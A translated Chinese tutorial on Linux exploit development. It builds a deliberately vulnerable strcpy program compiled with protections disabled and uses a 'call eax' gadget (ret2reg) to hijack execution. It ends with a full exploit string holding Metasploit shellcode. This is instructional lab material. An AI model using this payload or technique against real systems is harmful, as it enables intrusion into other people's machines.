目录

Linux Exploit开发教程 第二章 ret2reg指令绕过ASLR堆栈溢出

作者:sickn3ss
翻译:YoCo Smart
警告:文章中的操作风险过高,依照文章内容测试应该在虚拟机环境下

在阅读本文之前,最好是有一定的基础,原文作者给大家整理了一些教程。

其他参考资料: Linux Exploit开发教程 第一章 堆栈溢出 | ASM基础 | GDB相关

在第一章中我们用ESP硬编码地址在Linux上面制作了一个简单的堆栈溢出示范。不过大家都知道,那个方法其实并不靠谱。
不过在本文中会讲到如何在一个non-ASLR模块ret2reg(返回寄存器)指令来做一个更靠谱的堆栈溢出。
阅读本文同样需要一些基础知识:

  1. 缓冲区溢出的概念
  2. ASM基础和C/C++
  3. 用于编程的基本语法
  4. GDB最基本的知识
  5. Metasploit的基础
  6. EXP技术

如果上面所需要的基础你并不具备,你可以不用往下看了,这个文章对你来说意义不大。

开始

下面的漏洞代码是我们上一章最后保存的代码,不过你应该会注意到,我做了一点点修改。例如我们的漏洞代码中不再使用“main”,缓冲区大小也从500改为1000:

又是一个溢出

#include <stdio.h>
#include <string.h>
void evilfunction(char* input)
{
char buffer[1000];
strcpy(buffer, input); //漏洞函数 :-)
}
int main(int argc, char** argv)
{
evilfunction(argv[1]);
return 0;
}

现在我们已经准备好了漏洞应用代码,保存为vulnerable_1.c

同第一章中一样,要在禁用保护的状态下编译,因为不禁用SSP技术的话,我们的堆栈溢出就不会起作用了。

gcc -ggdb -o vulnerable_1 -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 vulnerable_1.c

编译结束后,我们在调试器中加载看看这个应用程序会不会触发。

恩,结果是成功的覆盖了EIP

小记

第一章,我们已经确认了ESP的缓冲区,并根据ESP的地址覆盖了EIP。
因为加载堆栈可能会有不同,所以这个EXP技术通常也不太靠谱,不知道你是不是还记得可以通过减去200字节来优化结果。

我们可以确认的一点就是,不管堆栈是不是略有改变,我们仍然处于NOP Sled

ret2reg

这次我们将试着使用ret2reg(返回寄存器)这项更为广泛的技术,可以代替前面在EIP中使用ESP硬编码地址的方法。实际上当程序执行我们构造的恶意的缓冲区代码时,我们用现有的指令覆盖EIP时,程序将会跳到我们在寄存器中的缓冲区,并从那里开始执行代码。

这样做的原因很简单,让EXP代码在实际应用中更加靠谱,而不仅限于测试。因为堆栈的创建决定了EXP的硬编码地址方法来不太靠谱。

现在我们来看看实际覆盖中发生了什么。先从我们的main函数和evilfunction开始看:

这里我们应该放置一些断点。

第一个断点应该在evilfunction进行call动作的地方0x080483f5
第二个断点应该在ret返回的地方0x08048400

继续看图

设置好断点以后,我们重新执行刚才的恶意代码,看看发生了什么。第一个断点设置在调用evilfunction0x080483f5,执行和检查一下:

ESP似乎包含了0x080483fa,下面继续:

看到了吧,我们返回的地址被覆盖了,让程序继续运行,直到EIP被\x42覆盖到崩溃

找出缓冲区和跳过

下面要做的是找出缓冲区和跳过
现在我们需要从我们的寄存器中找出缓冲区。很快就能找到实际上EAX就指向了我们的缓冲区的开端。

EAX指向了我们的缓冲区的开端,也就是说我们需要一个有效的指令获得它,例如objdump或者msfelfscan

通常我们会考虑共享库,不过这种情况下我们不会找到任何有关这两个指令的东西,这是真的。
所以现在我们继续研究我们的漏洞程序

或者在0x080483bf我们找到期望的“jmp/call eax”像这样的有效指令

EXP

后面就是写EXP代码的娱乐时间了🙂
我们的EXP代码的结构应该是像这样:

NOPS * 400+ SC (142 bytes) + NOPS * 462 + 0x080483bf (call eax)

在shellcode中使用msfpayload:

shellcode做好了,那么EXP也就出来了:

$(python -c ‘print “\x90” * 400
+ "\x89\xe7\xda\xd9\xd9\x77\xf4\x5f\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x51\x7a\x56\x6b\x51\x48\x4c\x59\x51\x42\x52\x46\x52\x48\x56\x4d\x52\x43\x4d\x59\x4d\x37\x43\x58\x56\x4f\x52\x53\x43\x58\x45\x50\x43\x58\x56\x4f\x50\x62\x51\x79\x52\x4e\x4c\x49\x4b\x53\x52\x72\x49\x78\x54\x45\x47\x70\x47\x70\x45\x50\x50\x64\x50\x61\x50\x73\x45\x38\x43\x30\x56\x37\x50\x53\x4d\x59\x49\x71\x5a\x6d\x4d\x50\x41\x41"
+ “\x90” * 462
+ “\xbf\x83\x04\x08”’)

写好了不代表正确,那么来测试一下吧

最后,重启linux然后在执行EXP